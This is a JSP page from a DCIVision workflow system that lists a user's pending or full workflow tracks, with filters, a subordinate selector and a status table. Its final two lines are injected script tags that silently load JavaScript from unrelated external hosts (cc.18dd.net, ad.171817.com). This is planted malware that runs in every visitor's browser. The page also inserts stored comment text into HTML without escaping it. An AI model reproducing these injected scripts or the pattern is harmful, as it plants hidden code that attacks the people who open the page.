<%
/*
 * @(#)ListWorkflowTrack.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowTrack.jsp

  This is a ListWorkflowTrack page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      18/12/2003
    @version            $Revision: 1.69.4.31 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>

<%@ page import="com.dcivision.workflow.core.*"%>

<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>

<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowProgressForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowTrackingList";
  String      showFullList = request.getParameter("showFullList");

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"common.label.cancel", GlobalConstant.NOT_AVAILABLE},
                            //{"workflow.columnheader.category", "C.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "D.STEP_NAME,D.STEP_SEQ"},
                            {"workflow.columnheader.workflow_code", "B.WORKFLOW_CODE,B.WORKFLOW_VERSION"},
                            //{"workflow.columnheader.description", "B.DESCRIPTION"},
                            //{"workflow.columnheader.stage_name", "WSTAGE.STAGE_NAME"},
                            {"workflow.columnheader.due_date", "DUE_DATE"},
                            {"workflow.columnheader.arrival_date", "A.CREATE_DATE"},
                            {"workflow.search.action_taker", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][]  LABEL_MAP_FULL_LIST = { {"ID", "ID"},
                            //{"common.label.cancel", GlobalConstant.NOT_AVAILABLE},
                            //{"workflow.columnheader.category", "C.WORKFLOW_CATEGORY_NAME"},
                            //{"workflow.columnheader.description", "B.DESCRIPTION"},
                            {"workflow.columnheader.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "D.STEP_NAME,D.STEP_SEQ"},
                            {"workflow.columnheader.workflow_code", "B.WORKFLOW_CODE,B.WORKFLOW_VERSION"},
                            //{"workflow.columnheader.stage_name", "WSTAGE.STAGE_NAME"},
                            {"workflow.columnheader.due_date", "DUE_DATE"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.complete_flag", "COMPLETE_FLAG"},
                            {"workflow.columnheader.arrival_date", "A.CREATE_DATE"},
                            {"workflow.search.action_taker", GlobalConstant.NOT_AVAILABLE}
                          };
  String[][]  ICON_MAP = {{"workflow.columnheader.priority", "IconPriority.gif"}
                         };

  if(GlobalConstant.TRUE.equals(showFullList)){
    LABEL_MAP = LABEL_MAP_FULL_LIST;
  }

  String[][] SEARCH_MAP = { {"form.columnheader.track_id", "A.TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "B.WORKFLOW_CODE"},
                            {"workflow.columnheader.category", "C.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "B.DESCRIPTION"}
                            //{"workflow.columnheader.stage_name", "WSTAGE.STAGE_NAME"},
                          };

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   String functionType = "";
   if ( GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowFullList()) ) {
    functionType = "workflow.label.full_list";
   } else {
    functionType = "workflow.label.pending_list";
   }

   List subordinateList = (List)request.getAttribute("subordinateList");
   List reportToMeTrackList = (List)request.getAttribute("reportToMeUserRecordList");
   int iSubordinate = subordinateList.size();
   int iReport = reportToMeTrackList.size();
   String reportToMeUserIDs = "";
   String subordinatesUserIDs="";

   String[][] subordinateArray = new String[iSubordinate + iReport + 3][2];

   subordinateArray[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.my_worklist");
   subordinateArray[0][1] = "";
   subordinateArray[1][0]=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.Subordinates_worklist");
    for (int i=0; i<iSubordinate; i++) {
    if(i>0){
      subordinatesUserIDs += ",";
    }
     UserRecord subordinate = (UserRecord) subordinateList.get(i);
     subordinateArray[i+2][0] = subordinate.getFullName();
    subordinateArray[i+2][1] = subordinate.getID().toString();
    subordinatesUserIDs += subordinate.getID().toString();
   }
   subordinateArray[1][1] = Utility.isEmpty(subordinatesUserIDs)?"-2":subordinatesUserIDs;
   for (int i=0; i<iReport; i++) {
    if(i>0){
      reportToMeUserIDs += ",";
    }
    UserRecord reportUser = (UserRecord) reportToMeTrackList.get(i);
    subordinateArray[iSubordinate+i+3][0] = reportUser.getFullName();
    subordinateArray[iSubordinate+i+3][1] = reportUser.getID().toString();
    reportToMeUserIDs += reportUser.getID().toString();
   }
   subordinateArray[iSubordinate+2][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_report_to_me_track");
   subordinateArray[iSubordinate+2][1] = Utility.isEmpty(reportToMeUserIDs)?"-1":reportToMeUserIDs;

   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   WorkflowRetrievalManager retrievalManager = new WorkflowRetrievalManager(sessionContainer, conn);
   WorkflowRecordDAObject workflowRecordDAO = new WorkflowRecordDAObject(sessionContainer, conn);

%>
<script language="javascript">
<!--
function CusOpListReset(frm) {
  frm.referenceNumber.value = '';
  if (frm.attachmentName) {
    frm.attachmentName.value = '';
  }
  if (frm.taskComment) {
    frm.taskComment.value = '';
  }
  return OpListReset(frm);
}



  function OpViewTrack(trackID, workflowProgressID, workflowRecordID){
    var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=N&showFullList=<%=listWorkflowProgressForm.getShowFullList()%>&navMode=V&trackID=" + trackID + "&workflowProgressID=" + workflowProgressID + "&ID=" + workflowRecordID;
    //var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=V&trackID=" + trackID + "&ID=" + workflowProgressID + "&workflowRecordID=" + workflowRecordID;
    var name = "DCIVisionViewWorkflowProgress";
    var popW = "850";
    var popH = "580";
    var feature = "status=no,menubar=no,scrollbars=no,resizable=yes,toolbar=no";
    OpenCenteredPopup(url, name, popW, popH, feature);

    //window.location.href = url;
    return false;
  }
//-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowTrack" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='showFullList'/>

<div id='topButtonArea'>
<% String actionString = null; %>
  <div id='buttonSection' class="buttonContainer">
        <logic:equal name='listWorkflowProgressForm' property='showFullList' value='<%=GlobalConstant.TRUE%>'>
        <% actionString = "document.listWorkflowProgressForm.showFullList.value='"+GlobalConstant.FALSE+"';return(OpList(listWorkflowProgressForm, '${listWorkflowProgressForm.sortAttribute}', '${listWorkflowProgressForm.sortOrder}'))"; %>
        <html:standardButton onClick='<%= actionString %>' label="workflow.label.pending_list"/>
        </logic:equal>

        <logic:equal name='listWorkflowProgressForm' property='showFullList' value='<%=GlobalConstant.FALSE%>'>
        <% actionString = "document.listWorkflowProgressForm.showFullList.value='"+GlobalConstant.TRUE+"';return(OpList(listWorkflowProgressForm, '${listWorkflowProgressForm.sortAttribute}', '${listWorkflowProgressForm.sortOrder}'))" ;%>
        <html:standardButton onClick='<%= actionString %>' label="workflow.label.full_list"/>
        </logic:equal>
  </div>
</div>

<!-- Search Panel Begin -->
<layout:listBar>
    <div class="button">
    </div>
    <layout:filterControl/>
    <div class="select">
        <bean:message key='common.permission.label_SH'/>:
        <% String onchangeFunction = "return(OpList(listWorkflowProgressForm, '"+listWorkflowProgressForm.getSortAttribute()+"', '"+listWorkflowProgressForm.getSortOrder()+"'))";%>
      <html:select property="viewUserRecordID" onchange="<%=onchangeFunction%>">
        <html:options stringArray='<%=subordinateArray%>' convertLabel='false' hasSelect='false'/>
      </html:select>
    </div>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
      </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
    <td>&nbsp;</td>
  </tr>
  <%if ( GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowFullList()) ) {%>
  <tr>
    <td class="filterPanelItem" nowrap><bean:message key='workflow.label.attachment_name'/>:</td>
    <td class="filterPanelItem" nowrap><html:text property='attachmentName' maxlength='30' onkeypress="onKeyPressHandler(event);"/></td>
    <td class="filterPanelItem" nowrap><bean:message key='workflow.label.task_comment'/>:</td>
    <td class="filterPanelItem" nowrap><html:text property='taskComment' maxlength='30' onkeypress="onKeyPressHandler(event);"/></td>
  </tr>
  <%}%>
    <%
      SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
      if ( sysFunction!=null && "A".equals(sysFunction.getStatus()) ){
    %>
    <tr>
    <td class="filterPanelItem" nowrap><bean:message key='workflow.search.related_object'/>:</td>
    <td class="filterPanelItem" nowrap><html:text property='referenceNumber' maxlength='30' onkeypress="onKeyPressHandler(event);" /></td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    </tr>
    <%}%>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listWorkflowProgressForm,'${listWorkflowProgressForm.sortAttribute}','${listWorkflowProgressForm.sortOrder}'))" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listWorkflowProgressForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table class="workflowTask">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowProgressForm" labelMap="<%=LABEL_MAP%>" iconMap='<%=ICON_MAP%>' sortAttribute="<%=listWorkflowProgressForm.getSortAttribute()%>" sortOrder="<%=listWorkflowProgressForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowProgress" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowProgress).getID()%>);">
    <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
    <bean:define id='cancelFlag' name='workflowProgress' property='cancelFlag' type='java.lang.String'/>

    <!-- Workflow Progress Priority Begin -->
    <td valign="top" class="priorityColumn"><wfm:priority workflowProgress='<%=(WorkflowProgress)workflowProgress%>'/></td>
    <!-- Workflow Progress Priority End -->
   
    <!-- Workflow Progress Status Begin -->
    <td valign="top" style="color:#0000FF; weight:bold;">
      <b><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></b>
    </td>
    <!-- Workflow Progress Status End -->

    <td valign="top" class="stepnameColumn"><wfm:stepInfo workflowProgress="<%=(WorkflowProgress)workflowProgress%>" functionCode='<%=SystemFunctionConstant.WORKFLOW_TRACK%>' /></td>
    <td valign="top"><bean:write name='workflowProgress' property='workflowCode'/> - <bean:write name='workflowProgress' property='workflowVersion'/></td>

    <td valign="top"><wfm:dueDate status='<%=((WorkflowProgress)workflowProgress).getStatus()%>' dueDate='<%=((WorkflowProgress)workflowProgress).getDueDate()%>'/></td>
	  <% if(GlobalConstant.TRUE.equals(showFullList)){%>
	  <!-- Workflow Progress Status Begin -->
    <td valign="top" class="flagColumn">
      <!-- The status is "Submitted"-->
  	  <%if (WorkflowProgress.STATUS_SUBMIT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_S'/>
  	  <%}%>
  	  
  	  <!-- The status is "Approved"-->
  	  <%if (WorkflowProgress.STATUS_APPROVE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_A'/>
  	  <%}%>
  	  
  	  <!-- The status is "Rejected"-->
  	  <%if (WorkflowProgress.STATUS_REJECT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_R'/>
  	  <%}%>
  	  
  	  <!-- The status is "Selected Yes"-->
  	  <%if (WorkflowProgress.STATUS_YES.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
 	      <bean:message key='workflow.label.step_status_T'/>
 	    <%}%>
 	    
 	    <!-- The status is "Selected No"-->
 	    <%if (WorkflowProgress.STATUS_NO.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
	      <bean:message key='workflow.label.step_status_F'/>
	    <%}%>
    
      <!-- The status is "Pending"-->
    	<%if (WorkflowProgress.STATUS_PENDING.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_P'/>
    	<%}%>
    	
    	<!-- The status is "Completed"-->
    	<%if (WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_U'/>
    	<%}%>
    	
    	<!-- The status is "Overdued"-->
    	<%if (WorkflowProgress.STATUS_NO_RESPONSE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_N'/>
    	<%}%>
    	
    	<!-- The status is "Cancelled"-->
    	<%if (WorkflowProgress.STATUS_CANCEL.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_C'/>
    	<%}%>
    	
    	<!-- The status is "In Progress"-->
    	<%if (WorkflowProgress.STATUS_IN_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_I'/>
    	<%}%>
    	
    	<!-- The status is "In Post Progress"-->
    	<%if (WorkflowProgress.STATUS_POST_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_H'/>
    	<%}%>
    	
    	<!-- The status is "Rolled Back"-->
    	<%if (WorkflowProgress.STATUS_ROLLBACK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_B'/>
    	<%}%>
    	
    	<!-- The status is "Revoked"-->
    	<%if (WorkflowProgress.STATUS_REVOKE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_V'/>
    	<%}%>
    	
    	<!-- The status is "Skipped"-->
    	<%if (WorkflowProgress.STATUS_SKIP.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_K'/>
    	<%}%>
    	
    	<!-- The status is "Locked"-->
    	<%if (WorkflowProgress.STATUS_LOCK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_L'/>
    	<%}%>
    	
    </td>
    <!-- Workflow Progress Status End -->
    
   <%}%>
    <%if(GlobalConstant.TRUE.equals(showFullList)){%>
    <td valign="top">
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.TRUE%>'>
    <bean:message key='workflow.label.step_status_T'/>
    </logic:equal>
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.FALSE%>'>
    <bean:message key='workflow.label.step_status_F'/>
    </logic:equal>
    </td>
    <%}%>

    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>

  <%
    List wkprogressList = retrievalManager.getNonSystemParent(((WorkflowProgress)workflowProgress).getTrackID(),((WorkflowProgress)workflowProgress).getWorkflowStepID());
    StringBuffer sbcomment = new StringBuffer();
    if ( wkprogressList.size() == 0 ) {
      sbcomment.append ("<nobr><b>" );
      sbcomment.append ( MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_"+ status) );
      sbcomment.append ( " at <b>"+ TextUtility.formatTimestamp(((WorkflowProgress)workflowProgress).getCreateDate())+"</b></nobr>");
    } else {
      for(int j=0;j<wkprogressList.size();j++){
        WorkflowProgress wkflowprogress = (WorkflowProgress)wkprogressList.get(j);
        sbcomment.append ( "<b><u style=\'font-size:11px\'>" );
        sbcomment.append ( retrievalManager.getStepNameByWkProgressID(wkflowprogress.getID()) );
        sbcomment.append ( "</u></b><br>" );
        List progressUserList = retrievalManager.getWorkflowProgressUserRecordListByProgressID(wkflowprogress.getID());
        for (int k=0; k<progressUserList.size(); k++) {
          MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) progressUserList.get(k);
          sbcomment.append ("<nobr>" );
          sbcomment.append ("<b>" + progressUser.getUpdaterName()+"</b> at <b>");
          sbcomment.append ( TextUtility.formatTimestamp(progressUser.getUpdateDate())+"</b>");
          if (!Utility.isEmpty(progressUser.getReason())) {
            sbcomment.append (":<br>&nbsp;&nbsp;<i>"+progressUser.getReason()+"</i>");
          }
          sbcomment.append ("</nobr>" );
        }
      }
    }
    String comment = sbcomment.toString();
  %>
  <td valign="top" class="bodyVerySmall"><wfm:actionTaker workflowProgress='<%=(WorkflowProgress)workflowProgress%>' /></td>
  </tr>
  <tr>
  <td colspan="2" class="baseLine">&nbsp;</td>
   <%if(GlobalConstant.TRUE.equals(showFullList)){%>
    <td colspan="6" class="baseLine">
    <%} else {%>
    <td colspan="6" class="baseLine">
     <%}%>
     <wfm:relatedObjectInfo trackID="<%=((WorkflowProgress)workflowProgress).getTrackID()%>" workflowProgress="<%=(WorkflowProgress)workflowProgress%>" tracking="true"/>
    </td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowProgressForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<!--new document invitation-->
<div  id="NewDocumentInvitation" style="position:absolute;display:none;overflow=none;z-index:801;top:20px; background-color:white; left:100px;">
</div>
<script language='javascript'>
<!--
  function CancelDim(){
    var invtee = document.getElementById("NewDocumentInvitation");
    invtee.style.display="none";
    loadingStop();
  }

//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>